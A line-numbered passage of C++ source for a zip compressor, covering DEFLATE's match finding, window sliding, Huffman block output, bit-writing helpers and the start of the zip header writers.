1265 |                (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) &&
1266 |                (ush)d_code(dist) < (ush)D_CODES,  "ct_tally: bad match");
1267 | 
1268 |         state.ts.dyn_ltree[state.ts.length_code[lc]+LITERALS+1].fc.freq++;
1269 |         state.ts.dyn_dtree[d_code(dist)].fc.freq++;
1270 | 
1271 |         state.ts.d_buf[state.ts.last_dist++] = (ush)dist;
1272 |         state.ts.flags |= state.ts.flag_bit;
1273 |     }
1274 |     state.ts.flag_bit <<= 1;
1275 | 
1276 |     /* Output the flags if they fill a byte: */
1277 |     if ((state.ts.last_lit & 7) == 0) {
1278 |         state.ts.flag_buf[state.ts.last_flags++] = state.ts.flags;
1279 |         state.ts.flags = 0, state.ts.flag_bit = 1;
1280 |     }
1281 |     /* Try to guess if it is profitable to stop the current block here */
1282 |     if (state.level > 2 && (state.ts.last_lit & 0xfff) == 0) {
1283 |         /* Compute an upper bound for the compressed length */
1284 |         ulg out_length = (ulg)state.ts.last_lit*8L;
1285 |         ulg in_length = (ulg)state.ds.strstart-state.ds.block_start;
1286 |         int dcode;
1287 |         for (dcode = 0; dcode < D_CODES; dcode++) {
1288 |             out_length += (ulg)state.ts.dyn_dtree[dcode].fc.freq*(5L+extra_dbits[dcode]);
1289 |         }
1290 |         out_length >>= 3;
1291 |         Trace("\nlast_lit %u, last_dist %u, in %ld, out ~%ld(%ld%%) ",
1292 |                state.ts.last_lit, state.ts.last_dist, in_length, out_length,
1293 |                100L - out_length*100L/in_length);
1294 |         if (state.ts.last_dist < state.ts.last_lit/2 && out_length < in_length/2) return 1;
1295 |     }
1296 |     return (state.ts.last_lit == LIT_BUFSIZE-1 || state.ts.last_dist == DIST_BUFSIZE);
1297 |     /* We avoid equality with LIT_BUFSIZE because of wraparound at 64K
1298 |      * on 16 bit machines and because stored blocks are restricted to
1299 |      * 64K-1 bytes.
1300 |      */
1301 | }
1302 | 
1303 | /* ===========================================================================
1304 |  * Send the block data compressed using the given Huffman trees
1305 |  */
1306 | void compress_block(TState &state,ct_data *ltree, ct_data *dtree)
1307 | {
1308 |     unsigned dist;      /* distance of matched string */
1309 |     int lc;             /* match length or unmatched char (if dist == 0) */
1310 |     unsigned lx = 0;    /* running index in l_buf */
1311 |     unsigned dx = 0;    /* running index in d_buf */
1312 |     unsigned fx = 0;    /* running index in flag_buf */
1313 |     uch flag = 0;       /* current flags */
1314 |     unsigned code;      /* the code to send */
1315 |     int extra;          /* number of extra bits to send */
1316 | 
1317 |     if (state.ts.last_lit != 0) do {
1318 |         if ((lx & 7) == 0) flag = state.ts.flag_buf[fx++];
1319 |         lc = state.ts.l_buf[lx++];
1320 |         if ((flag & 1) == 0) {
1321 |             send_code(state,lc, ltree); /* send a literal byte */
1322 |         } else {
1323 |             /* Here, lc is the match length - MIN_MATCH */
1324 |             code = state.ts.length_code[lc];
1325 |             send_code(state,code+LITERALS+1, ltree); /* send the length code */
1326 |             extra = extra_lbits[code];
1327 |             if (extra != 0) {
1328 |                 lc -= state.ts.base_length[code];
1329 |                 send_bits(state,lc, extra);        /* send the extra length bits */
1330 |             }
1331 |             dist = state.ts.d_buf[dx++];
1332 |             /* Here, dist is the match distance - 1 */
1333 |             code = d_code(dist);
1334 |             Assert(state,code < D_CODES, "bad d_code");
1335 | 
1336 |             send_code(state,code, dtree);       /* send the distance code */
1337 |             extra = extra_dbits[code];
1338 |             if (extra != 0) {
1339 |                 dist -= state.ts.base_dist[code];
1340 |                 send_bits(state,dist, extra);   /* send the extra distance bits */
1341 |             }
1342 |         } /* literal or match pair ? */
1343 |         flag >>= 1;
1344 |     } while (lx < state.ts.last_lit);
1345 | 
1346 |     send_code(state,END_BLOCK, ltree);
1347 | }
1348 | 
1349 | /* ===========================================================================
1350 |  * Set the file type to ASCII or BINARY, using a crude approximation:
1351 |  * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise.
1352 |  * IN assertion: the fields freq of dyn_ltree are set and the total of all
1353 |  * frequencies does not exceed 64K (to fit in an int on 16 bit machines).
1354 |  */
1355 | void set_file_type(TState &state)
1356 | {
1357 |     int n = 0;
1358 |     unsigned ascii_freq = 0;
1359 |     unsigned bin_freq = 0;
1360 |     while (n < 7)        bin_freq += state.ts.dyn_ltree[n++].fc.freq;
1361 |     while (n < 128)    ascii_freq += state.ts.dyn_ltree[n++].fc.freq;
1362 |     while (n < LITERALS) bin_freq += state.ts.dyn_ltree[n++].fc.freq;
1363 |     *state.ts.file_type = (ush)(bin_freq > (ascii_freq >> 2) ? BINARY : ASCII);
1364 | }
1365 | 
1366 | 
1367 | /* ===========================================================================
1368 |  * Initialize the bit string routines.
1369 |  */
1370 | void bi_init (TState &state,char *tgt_buf, unsigned tgt_size, int flsh_allowed)
1371 | {
1372 |     state.bs.out_buf = tgt_buf;
1373 |     state.bs.out_size = tgt_size;
1374 |     state.bs.out_offset = 0;
1375 |     state.bs.flush_flg = flsh_allowed;
1376 | 
1377 |     state.bs.bi_buf = 0;
1378 |     state.bs.bi_valid = 0;
1379 |     state.bs.bits_sent = 0L;
1380 | }
1381 | 
1382 | /* ===========================================================================
1383 |  * Send a value on a given number of bits.
1384 |  * IN assertion: length <= 16 and value fits in length bits.
1385 |  */
1386 | void send_bits(TState &state,int value, int length)
1387 | {
1388 |     Assert(state,length > 0 && length <= 15, "invalid length");
1389 |     state.bs.bits_sent += (ulg)length;
1390 |     /* If not enough room in bi_buf, use (bi_valid) bits from bi_buf and
1391 |      * (Buf_size - bi_valid) bits from value to flush the filled bi_buf,
1392 |      * then fill in the rest of (value), leaving (length - (Buf_size-bi_valid))
1393 |      * unused bits in bi_buf.
1394 |      */
1395 |     state.bs.bi_buf |= (value << state.bs.bi_valid);
1396 |     state.bs.bi_valid += length;
1397 |     if (state.bs.bi_valid > (int)Buf_size) {
1398 |         PUTSHORT(state,state.bs.bi_buf);
1399 |         state.bs.bi_valid -= Buf_size;
1400 |         state.bs.bi_buf = (unsigned)value >> (length - state.bs.bi_valid);
1401 |     }
1402 | }
1403 | 
1404 | /* ===========================================================================
1405 |  * Reverse the first len bits of a code, using straightforward code (a faster
1406 |  * method would use a table)
1407 |  * IN assertion: 1 <= len <= 15
1408 |  */
1409 | unsigned bi_reverse(unsigned code, int len)
1410 | {
1411 |     register unsigned res = 0;
1412 |     do {
1413 |         res |= code & 1;
1414 |         code >>= 1, res <<= 1;
1415 |     } while (--len > 0);
1416 |     return res >> 1;
1417 | }
1418 | 
1419 | /* ===========================================================================
1420 |  * Write out any remaining bits in an incomplete byte.
1421 |  */
1422 | void bi_windup(TState &state)
1423 | {
1424 |     if (state.bs.bi_valid > 8) {
1425 |         PUTSHORT(state,state.bs.bi_buf);
1426 |     } else if (state.bs.bi_valid > 0) {
1427 |         PUTBYTE(state,state.bs.bi_buf);
1428 |     }
1429 |     if (state.bs.flush_flg) {
1430 |         state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset);
1431 |     }
1432 |     state.bs.bi_buf = 0;
1433 |     state.bs.bi_valid = 0;
1434 |     state.bs.bits_sent = (state.bs.bits_sent+7) & ~7;
1435 | }
1436 | 
1437 | /* ===========================================================================
1438 |  * Copy a stored block to the zip file, storing first the length and its
1439 |  * one's complement if requested.
1440 |  */
1441 | void copy_block(TState &state, char *block, unsigned len, int header)
1442 | {
1443 |     bi_windup(state);              /* align on byte boundary */
1444 | 
1445 |     if (header) {
1446 |         PUTSHORT(state,(ush)len);
1447 |         PUTSHORT(state,(ush)~len);
1448 |         state.bs.bits_sent += 2*16;
1449 |     }
1450 |     if (state.bs.flush_flg) {
1451 |         state.flush_outbuf(state.param,state.bs.out_buf, &state.bs.out_offset);
1452 |         state.bs.out_offset = len;
1453 |         state.flush_outbuf(state.param,block, &state.bs.out_offset);
1454 |     } else if (state.bs.out_offset + len > state.bs.out_size) {
1455 |         Assert(state,false,"output buffer too small for in-memory compression");
1456 |     } else {
1457 |         memcpy(state.bs.out_buf + state.bs.out_offset, block, len);
1458 |         state.bs.out_offset += len;
1459 |     }
1460 |     state.bs.bits_sent += (ulg)len<<3;
1461 | }
1462 | 
1463 | 
1464 | 
1465 | 
1466 | 
1467 | 
1468 | 
1469 | 
1470 | /* ===========================================================================
1471 |  *  Prototypes for functions.
1472 |  */
1473 | 
1474 | void fill_window  (TState &state);
1475 | ulg deflate_fast  (TState &state);
1476 | 
1477 | int  longest_match (TState &state,IPos cur_match);
1478 | 
1479 | 
1480 | /* ===========================================================================
1481 |  * Update a hash value with the given input byte
1482 |  * IN  assertion: all calls to to UPDATE_HASH are made with consecutive
1483 |  *    input characters, so that a running hash key can be computed from the
1484 |  *    previous key instead of complete recalculation each time.
1485 |  */
1486 | #define UPDATE_HASH(h,c) (h = (((h)<<H_SHIFT) ^ (c)) & HASH_MASK)
1487 | 
1488 | /* ===========================================================================
1489 |  * Insert string s in the dictionary and set match_head to the previous head
1490 |  * of the hash chain (the most recent string with same hash key). Return
1491 |  * the previous length of the hash chain.
1492 |  * IN  assertion: all calls to to INSERT_STRING are made with consecutive
1493 |  *    input characters and the first MIN_MATCH bytes of s are valid
1494 |  *    (except for the last MIN_MATCH-1 bytes of the input file).
1495 |  */
1496 | #define INSERT_STRING(s, match_head) \
1497 |    (UPDATE_HASH(state.ds.ins_h, state.ds.window[(s) + (MIN_MATCH-1)]), \
1498 |     state.ds.prev[(s) & WMASK] = match_head = state.ds.head[state.ds.ins_h], \
1499 |     state.ds.head[state.ds.ins_h] = (s))
1500 | 
1501 | /* ===========================================================================
1502 |  * Initialize the "longest match" routines for a new file
1503 |  *
1504 |  * IN assertion: window_size is > 0 if the input file is already read or
1505 |  *    mmap'ed in the window[] array, 0 otherwise. In the first case,
1506 |  *    window_size is sufficient to contain the whole input file plus
1507 |  *    MIN_LOOKAHEAD bytes (to avoid referencing memory beyond the end
1508 |  *    of window[] when looking for matches towards the end).
1509 |  */
1510 | void lm_init (TState &state, int pack_level, ush *flags)
1511 | {
1512 |     register unsigned j;
1513 | 
1514 |     Assert(state,pack_level>=1 && pack_level<=8,"bad pack level");
1515 | 
1516 |     /* Do not slide the window if the whole input is already in memory
1517 |      * (window_size > 0)
1518 |      */
1519 |     state.ds.sliding = 0;
1520 |     if (state.ds.window_size == 0L) {
1521 |         state.ds.sliding = 1;
1522 |         state.ds.window_size = (ulg)2L*WSIZE;
1523 |     }
1524 | 
1525 |     /* Initialize the hash table (avoiding 64K overflow for 16 bit systems).
1526 |      * prev[] will be initialized on the fly.
1527 |      */
1528 |     state.ds.head[HASH_SIZE-1] = NIL;
1529 |     memset((char*)state.ds.head, NIL, (unsigned)(HASH_SIZE-1)*sizeof(*state.ds.head));
1530 | 
1531 |     /* Set the default configuration parameters:
1532 |      */
1533 |     state.ds.max_lazy_match   = configuration_table[pack_level].max_lazy;
1534 |     state.ds.good_match       = configuration_table[pack_level].good_length;
1535 |     state.ds.nice_match       = configuration_table[pack_level].nice_length;
1536 |     state.ds.max_chain_length = configuration_table[pack_level].max_chain;
1537 |     if (pack_level <= 2) {
1538 |        *flags |= FAST;
1539 |     } else if (pack_level >= 8) {
1540 |        *flags |= SLOW;
1541 |     }
1542 |     /* ??? reduce max_chain_length for binary files */
1543 | 
1544 |     state.ds.strstart = 0;
1545 |     state.ds.block_start = 0L;
1546 | 
1547 |     j = WSIZE;
1548 |     j <<= 1; // Can read 64K in one step
1549 |     state.ds.lookahead = state.readfunc(state, (char*)state.ds.window, j);
1550 | 
1551 |     if (state.ds.lookahead == 0 || state.ds.lookahead == (unsigned)EOF) {
1552 |        state.ds.eofile = 1, state.ds.lookahead = 0;
1553 |        return;
1554 |     }
1555 |     state.ds.eofile = 0;
1556 |     /* Make sure that we always have enough lookahead. This is important
1557 |      * if input comes from a device such as a tty.
1558 |      */
1559 |     if (state.ds.lookahead < MIN_LOOKAHEAD) fill_window(state);
1560 | 
1561 |     state.ds.ins_h = 0;
1562 |     for (j=0; j<MIN_MATCH-1; j++) UPDATE_HASH(state.ds.ins_h, state.ds.window[j]);
1563 |     /* If lookahead < MIN_MATCH, ins_h is garbage, but this is
1564 |      * not important since only literal bytes will be emitted.
1565 |      */
1566 | }
1567 | 
1568 | 
1569 | /* ===========================================================================
1570 |  * Set match_start to the longest match starting at the given string and
1571 |  * return its length. Matches shorter or equal to prev_length are discarded,
1572 |  * in which case the result is equal to prev_length and match_start is
1573 |  * garbage.
1574 |  * IN assertions: cur_match is the head of the hash chain for the current
1575 |  *   string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1
1576 |  */
1577 | // For 80x86 and 680x0 and ARM, an optimized version is in match.asm or
1578 | // match.S. The code is functionally equivalent, so you can use the C version
1579 | // if desired. Which I do so desire!
1580 | int longest_match(TState &state,IPos cur_match)
1581 | {
1582 |     unsigned chain_length = state.ds.max_chain_length;   /* max hash chain length */
1583 |     register uch far *scan = state.ds.window + state.ds.strstart; /* current string */
1584 |     register uch far *match;                    /* matched string */
1585 |     register int len;                           /* length of current match */
1586 |     int best_len = state.ds.prev_length;                 /* best match length so far */
1587 |     IPos limit = state.ds.strstart > (IPos)MAX_DIST ? state.ds.strstart - (IPos)MAX_DIST : NIL;
1588 |     /* Stop when cur_match becomes <= limit. To simplify the code,
1589 |      * we prevent matches with the string of window index 0.
1590 |      */
1591 | 
1592 |   // The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16.
1593 |   // It is easy to get rid of this optimization if necessary.
1594 |     Assert(state,HASH_BITS>=8 && MAX_MATCH==258,"Code too clever");
1595 | 
1596 | 
1597 | 
1598 |     register uch far *strend = state.ds.window + state.ds.strstart + MAX_MATCH;
1599 |     register uch scan_end1  = scan[best_len-1];
1600 |     register uch scan_end   = scan[best_len];
1601 | 
1602 |     /* Do not waste too much time if we already have a good match: */
1603 |     if (state.ds.prev_length >= state.ds.good_match) {
1604 |         chain_length >>= 2;
1605 |     }
1606 | 
1607 |     Assert(state,state.ds.strstart <= state.ds.window_size-MIN_LOOKAHEAD, "insufficient lookahead");
1608 | 
1609 |     do {
1610 |         Assert(state,cur_match < state.ds.strstart, "no future");
1611 |         match = state.ds.window + cur_match;
1612 | 
1613 |         /* Skip to next match if the match length cannot increase
1614 |          * or if the match length is less than 2:
1615 |          */
1616 |         if (match[best_len]   != scan_end  ||
1617 |             match[best_len-1] != scan_end1 ||
1618 |             *match            != *scan     ||
1619 |             *++match          != scan[1])      continue;
1620 | 
1621 |         /* The check at best_len-1 can be removed because it will be made
1622 |          * again later. (This heuristic is not always a win.)
1623 |          * It is not necessary to compare scan[2] and match[2] since they
1624 |          * are always equal when the other bytes match, given that
1625 |          * the hash keys are equal and that HASH_BITS >= 8.
1626 |          */
1627 |         scan += 2, match++;
1628 | 
1629 |         /* We check for insufficient lookahead only every 8th comparison;
1630 |          * the 256th check will be made at strstart+258.
1631 |          */
1632 |         do {
1633 |         } while (*++scan == *++match && *++scan == *++match &&
1634 |                  *++scan == *++match && *++scan == *++match &&
1635 |                  *++scan == *++match && *++scan == *++match &&
1636 |                  *++scan == *++match && *++scan == *++match &&
1637 |                  scan < strend);
1638 | 
1639 |         Assert(state,scan <= state.ds.window+(unsigned)(state.ds.window_size-1), "wild scan");
1640 |                           
1641 |         len = MAX_MATCH - (int)(strend - scan);
1642 |         scan = strend - MAX_MATCH;
1643 | 
1644 | 
1645 |         if (len > best_len) {
1646 |             state.ds.match_start = cur_match;
1647 |             best_len = len;
1648 |             if (len >= state.ds.nice_match) break;
1649 |             scan_end1  = scan[best_len-1];
1650 |             scan_end   = scan[best_len];
1651 |         }
1652 |     } while ((cur_match = state.ds.prev[cur_match & WMASK]) > limit
1653 |              && --chain_length != 0);
1654 | 
1655 |     return best_len;
1656 | }
1657 | 
1658 | 
1659 | 
1660 | #define check_match(state,start, match, length)
1661 | // or alternatively...
1662 | //void check_match(TState &state,IPos start, IPos match, int length)
1663 | //{ // check that the match is indeed a match
1664 | //    if (memcmp((char*)state.ds.window + match,
1665 | //                (char*)state.ds.window + start, length) != EQUAL) {
1666 | //        fprintf(stderr,
1667 | //            " start %d, match %d, length %d\n",
1668 | //            start, match, length);
1669 | //        error("invalid match");
1670 | //    }
1671 | //    if (state.verbose > 1) {
1672 | //        fprintf(stderr,"\\[%d,%d]", start-match, length);
1673 | //        do { fprintf(stdout,"%c",state.ds.window[start++]); } while (--length != 0);
1674 | //    }
1675 | //}
1676 | 
1677 | /* ===========================================================================
1678 |  * Fill the window when the lookahead becomes insufficient.
1679 |  * Updates strstart and lookahead, and sets eofile if end of input file.
1680 |  *
1681 |  * IN assertion: lookahead < MIN_LOOKAHEAD && strstart + lookahead > 0
1682 |  * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD
1683 |  *    At least one byte has been read, or eofile is set; file reads are
1684 |  *    performed for at least two bytes (required for the translate_eol option).
1685 |  */
1686 | void fill_window(TState &state)
1687 | {
1688 |     register unsigned n, m;
1689 |     unsigned more;    /* Amount of free space at the end of the window. */
1690 | 
1691 |     do {
1692 |         more = (unsigned)(state.ds.window_size - (ulg)state.ds.lookahead - (ulg)state.ds.strstart);
1693 | 
1694 |         /* If the window is almost full and there is insufficient lookahead,
1695 |          * move the upper half to the lower one to make room in the upper half.
1696 |          */
1697 |         if (more == (unsigned)EOF) {
1698 |             /* Very unlikely, but possible on 16 bit machine if strstart == 0
1699 |              * and lookahead == 1 (input done one byte at time)
1700 |              */
1701 |             more--;
1702 | 
1703 |         /* For MMAP or BIG_MEM, the whole input file is already in memory so
1704 |          * we must not perform sliding. We must however call (*read_buf)() in
1705 |          * order to compute the crc, update lookahead and possibly set eofile.
1706 |          */
1707 |         } else if (state.ds.strstart >= WSIZE+MAX_DIST && state.ds.sliding) {
1708 | 
1709 |             /* By the IN assertion, the window is not empty so we can't confuse
1710 |              * more == 0 with more == 64K on a 16 bit machine.
1711 |              */
1712 |             memcpy((char*)state.ds.window, (char*)state.ds.window+WSIZE, (unsigned)WSIZE);
1713 |             state.ds.match_start -= WSIZE;
1714 |             state.ds.strstart    -= WSIZE; /* we now have strstart >= MAX_DIST: */
1715 | 
1716 |             state.ds.block_start -= (long) WSIZE;
1717 | 
1718 |             for (n = 0; n < HASH_SIZE; n++) {
1719 |                 m = state.ds.head[n];
1720 |                 state.ds.head[n] = (Pos)(m >= WSIZE ? m-WSIZE : NIL);
1721 |             }
1722 |             for (n = 0; n < WSIZE; n++) {
1723 |                 m = state.ds.prev[n];
1724 |                 state.ds.prev[n] = (Pos)(m >= WSIZE ? m-WSIZE : NIL);
1725 |                 /* If n is not on any hash chain, prev[n] is garbage but
1726 |                  * its value will never be used.
1727 |                  */
1728 |             }
1729 |             more += WSIZE;
1730 |         }
1731 |         if (state.ds.eofile) return;
1732 | 
1733 |         /* If there was no sliding:
1734 |          *    strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 &&
1735 |          *    more == window_size - lookahead - strstart
1736 |          * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1)
1737 |          * => more >= window_size - 2*WSIZE + 2
1738 |          * In the MMAP or BIG_MEM case (not yet supported in gzip),
1739 |          *   window_size == input_size + MIN_LOOKAHEAD  &&
1740 |          *   strstart + lookahead <= input_size => more >= MIN_LOOKAHEAD.
1741 |          * Otherwise, window_size == 2*WSIZE so more >= 2.
1742 |          * If there was sliding, more >= WSIZE. So in all cases, more >= 2.
1743 |          */
1744 |         Assert(state,more >= 2, "more < 2");
1745 | 
1746 |         n = state.readfunc(state, (char*)state.ds.window+state.ds.strstart+state.ds.lookahead, more);
1747 | 
1748 |         if (n == 0 || n == (unsigned)EOF) {
1749 |             state.ds.eofile = 1;
1750 |         } else {
1751 |             state.ds.lookahead += n;
1752 |         }
1753 |     } while (state.ds.lookahead < MIN_LOOKAHEAD && !state.ds.eofile);
1754 | }
1755 | 
1756 | /* ===========================================================================
1757 |  * Flush the current block, with given end-of-file flag.
1758 |  * IN assertion: strstart is set to the end of the current match.
1759 |  */
1760 | #define FLUSH_BLOCK(state,eof) \
1761 |    flush_block(state,state.ds.block_start >= 0L ? (char*)&state.ds.window[(unsigned)state.ds.block_start] : \
1762 |                 (char*)NULL, (long)state.ds.strstart - state.ds.block_start, (eof))
1763 | 
1764 | /* ===========================================================================
1765 |  * Processes a new input file and return its compressed length. This
1766 |  * function does not perform lazy evaluation of matches and inserts
1767 |  * new strings in the dictionary only for unmatched strings or for short
1768 |  * matches. It is used only for the fast compression options.
1769 |  */
1770 | ulg deflate_fast(TState &state)
1771 | {
1772 |     IPos hash_head = NIL;       /* head of the hash chain */
1773 |     int flush;                  /* set if current block must be flushed */
1774 |     unsigned match_length = 0;  /* length of best match */
1775 | 
1776 |     state.ds.prev_length = MIN_MATCH-1;
1777 |     while (state.ds.lookahead != 0) {
1778 |         /* Insert the string window[strstart .. strstart+2] in the
1779 |          * dictionary, and set hash_head to the head of the hash chain:
1780 |          */
1781 |         if (state.ds.lookahead >= MIN_MATCH)
1782 |         INSERT_STRING(state.ds.strstart, hash_head);
1783 | 
1784 |         /* Find the longest match, discarding those <= prev_length.
1785 |          * At this point we have always match_length < MIN_MATCH
1786 |          */
1787 |         if (hash_head != NIL && state.ds.strstart - hash_head <= MAX_DIST) {
1788 |             /* To simplify the code, we prevent matches with the string
1789 |              * of window index 0 (in particular we have to avoid a match
1790 |              * of the string with itself at the start of the input file).
1791 |              */
1792 |             /* Do not look for matches beyond the end of the input.
1793 |              * This is necessary to make deflate deterministic.
1794 |              */
1795 |             if ((unsigned)state.ds.nice_match > state.ds.lookahead) state.ds.nice_match = (int)state.ds.lookahead;
1796 |             match_length = longest_match (state,hash_head);
1797 |             /* longest_match() sets match_start */
1798 |             if (match_length > state.ds.lookahead) match_length = state.ds.lookahead;
1799 |         }
1800 |         if (match_length >= MIN_MATCH) {
1801 |             check_match(state,state.ds.strstart, state.ds.match_start, match_length);
1802 | 
1803 |             flush = ct_tally(state,state.ds.strstart-state.ds.match_start, match_length - MIN_MATCH);
1804 | 
1805 |             state.ds.lookahead -= match_length;
1806 | 
1807 |             /* Insert new strings in the hash table only if the match length
1808 |              * is not too large. This saves time but degrades compression.
1809 |              */
1810 |             if (match_length <= state.ds.max_insert_length
1811 |                 && state.ds.lookahead >= MIN_MATCH) {
1812 |                 match_length--; /* string at strstart already in hash table */
1813 |                 do {
1814 |                     state.ds.strstart++;
1815 |                     INSERT_STRING(state.ds.strstart, hash_head);
1816 |                     /* strstart never exceeds WSIZE-MAX_MATCH, so there are
1817 |                      * always MIN_MATCH bytes ahead.
1818 |                      */
1819 |                 } while (--match_length != 0);
1820 |                 state.ds.strstart++;
1821 |             } else {
1822 |                 state.ds.strstart += match_length;
1823 |                 match_length = 0;
1824 |                 state.ds.ins_h = state.ds.window[state.ds.strstart];
1825 |                 UPDATE_HASH(state.ds.ins_h, state.ds.window[state.ds.strstart+1]);
1826 |                 Assert(state,MIN_MATCH==3,"Call UPDATE_HASH() MIN_MATCH-3 more times");
1827 |             }
1828 |         } else {
1829 |             /* No match, output a literal byte */
1830 |             flush = ct_tally (state,0, state.ds.window[state.ds.strstart]);
1831 |             state.ds.lookahead--;
1832 |             state.ds.strstart++;
1833 |         }
1834 |         if (flush) FLUSH_BLOCK(state,0), state.ds.block_start = state.ds.strstart;
1835 | 
1836 |         /* Make sure that we always have enough lookahead, except
1837 |          * at the end of the input file. We need MAX_MATCH bytes
1838 |          * for the next match, plus MIN_MATCH bytes to insert the
1839 |          * string following the next match.
1840 |          */
1841 |         if (state.ds.lookahead < MIN_LOOKAHEAD) fill_window(state);
1842 |     }
1843 |     return FLUSH_BLOCK(state,1); /* eof */
1844 | }
1845 | 
1846 | /* ===========================================================================
1847 |  * Same as above, but achieves better compression. We use a lazy
1848 |  * evaluation for matches: a match is finally adopted only if there is
1849 |  * no better match at the next window position.
1850 |  */
1851 | ulg deflate(TState &state)
1852 | {
1853 |     IPos hash_head = NIL;       /* head of hash chain */
1854 |     IPos prev_match;            /* previous match */
1855 |     int flush;                  /* set if current block must be flushed */
1856 |     int match_available = 0;    /* set if previous match exists */
1857 |     register unsigned match_length = MIN_MATCH-1; /* length of best match */
1858 | 
1859 |     if (state.level <= 3) return deflate_fast(state); /* optimized for speed */
1860 | 
1861 |     /* Process the input block. */
1862 |     while (state.ds.lookahead != 0) {
1863 |         /* Insert the string window[strstart .. strstart+2] in the
1864 |          * dictionary, and set hash_head to the head of the hash chain:
1865 |          */
1866 |         if (state.ds.lookahead >= MIN_MATCH)
1867 |         INSERT_STRING(state.ds.strstart, hash_head);
1868 | 
1869 |         /* Find the longest match, discarding those <= prev_length.
1870 |          */
1871 |         state.ds.prev_length = match_length, prev_match = state.ds.match_start;
1872 |         match_length = MIN_MATCH-1;
1873 | 
1874 |         if (hash_head != NIL && state.ds.prev_length < state.ds.max_lazy_match &&
1875 |             state.ds.strstart - hash_head <= MAX_DIST) {
1876 |             /* To simplify the code, we prevent matches with the string
1877 |              * of window index 0 (in particular we have to avoid a match
1878 |              * of the string with itself at the start of the input file).
1879 |              */
1880 |             /* Do not look for matches beyond the end of the input.
1881 |              * This is necessary to make deflate deterministic.
1882 |              */
1883 |             if ((unsigned)state.ds.nice_match > state.ds.lookahead) state.ds.nice_match = (int)state.ds.lookahead;
1884 |             match_length = longest_match (state,hash_head);
1885 |             /* longest_match() sets match_start */
1886 |             if (match_length > state.ds.lookahead) match_length = state.ds.lookahead;
1887 | 
1888 |             /* Ignore a length 3 match if it is too distant: */
1889 |             if (match_length == MIN_MATCH && state.ds.strstart-state.ds.match_start > TOO_FAR){
1890 |                 /* If prev_match is also MIN_MATCH, match_start is garbage
1891 |                  * but we will ignore the current match anyway.
1892 |                  */
1893 |                 match_length = MIN_MATCH-1;
1894 |             }
1895 |         }
1896 |         /* If there was a match at the previous step and the current
1897 |          * match is not better, output the previous match:
1898 |          */
1899 |         if (state.ds.prev_length >= MIN_MATCH && match_length <= state.ds.prev_length) {
1900 |             unsigned max_insert = state.ds.strstart + state.ds.lookahead - MIN_MATCH;
1901 |             check_match(state,state.ds.strstart-1, prev_match, state.ds.prev_length);
1902 |             flush = ct_tally(state,state.ds.strstart-1-prev_match, state.ds.prev_length - MIN_MATCH);
1903 | 
1904 |             /* Insert in hash table all strings up to the end of the match.
1905 |              * strstart-1 and strstart are already inserted.
1906 |              */
1907 |             state.ds.lookahead -= state.ds.prev_length-1;
1908 |             state.ds.prev_length -= 2;
1909 |             do {
1910 |                 if (++state.ds.strstart <= max_insert) {
1911 |                     INSERT_STRING(state.ds.strstart, hash_head);
1912 |                     /* strstart never exceeds WSIZE-MAX_MATCH, so there are
1913 |                      * always MIN_MATCH bytes ahead.
1914 |                      */
1915 |                 }
1916 |             } while (--state.ds.prev_length != 0);
1917 |             state.ds.strstart++;
1918 |             match_available = 0;
1919 |             match_length = MIN_MATCH-1;
1920 | 
1921 |             if (flush) FLUSH_BLOCK(state,0), state.ds.block_start = state.ds.strstart;
1922 | 
1923 |         } else if (match_available) {
1924 |             /* If there was no match at the previous position, output a
1925 |              * single literal. If there was a match but the current match
1926 |              * is longer, truncate the previous match to a single literal.
1927 |              */
1928 |             if (ct_tally (state,0, state.ds.window[state.ds.strstart-1])) {
1929 |                 FLUSH_BLOCK(state,0), state.ds.block_start = state.ds.strstart;
1930 |             }
1931 |             state.ds.strstart++;
1932 |             state.ds.lookahead--;
1933 |         } else {
1934 |             /* There is no previous match to compare with, wait for
1935 |              * the next step to decide.
1936 |              */
1937 |             match_available = 1;
1938 |             state.ds.strstart++;
1939 |             state.ds.lookahead--;
1940 |         }
1941 | //        Assert(state,strstart <= isize && lookahead <= isize, "a bit too far");
1942 | 
1943 |         /* Make sure that we always have enough lookahead, except
1944 |          * at the end of the input file. We need MAX_MATCH bytes
1945 |          * for the next match, plus MIN_MATCH bytes to insert the
1946 |          * string following the next match.
1947 |          */
1948 |         if (state.ds.lookahead < MIN_LOOKAHEAD) fill_window(state);
1949 |     }
1950 |     if (match_available) ct_tally (state,0, state.ds.window[state.ds.strstart-1]);
1951 | 
1952 |     return FLUSH_BLOCK(state,1); /* eof */
1953 | }
1954 | 
1955 | 
1956 | 
1957 | 
1958 | 
1959 | 
1960 | 
1961 | 
1962 | 
1963 | 
1964 | 
1965 | 
1966 | int putlocal(struct zlist far *z, WRITEFUNC wfunc,void *param)
1967 | { // Write a local header described by *z to file *f.  Return a ZE_ error code.
1968 |   PUTLG(LOCSIG, f);
1969 |   PUTSH(z->ver, f);
1970 |   PUTSH(z->lflg, f);
1971 |   PUTSH(z->how, f);
1972 |   PUTLG(z->tim, f);
1973 |   PUTLG(z->crc, f);
1974 |   PUTLG(z->siz, f);
1975 |   PUTLG(z->len, f);
1976 |   PUTSH(z->nam, f);
1977 |   PUTSH(z->ext, f);
1978 |   size_t res = (size_t)wfunc(param, z->iname, (unsigned int)z->nam);
1979 |   if (res!=z->nam) return ZE_TEMP;
1980 |   if (z->ext)
1981 |   { res = (size_t)wfunc(param, z->extra, (unsigned int)z->ext);
1982 |     if (res!=z->ext) return ZE_TEMP;
1983 |   }
1984 |   return ZE_OK;
1985 | }
1986 | 
1987 | int putextended(struct zlist far *z, WRITEFUNC wfunc, void *param)
1988 | { // Write an extended local header described by *z to file *f. Returns a ZE_ code
1989 |   PUTLG(EXTLOCSIG, f);
1990 |   PUTLG(z->crc, f);
1991 |   PUTLG(z->siz, f);
1992 |   PUTLG(z->len, f);
1993 |   return ZE_OK;
1994 | }
1995 | 
1996 | int putcentral(struct zlist far *z, WRITEFUNC wfunc, void *param)
1997 | { // Write a central header entry of *z to file *f. Returns a ZE_ code.
1998 |   PUTLG(CENSIG, f);
1999 |   PUTSH(z->vem, f);
2000 |   PUTSH(z->ver, f);
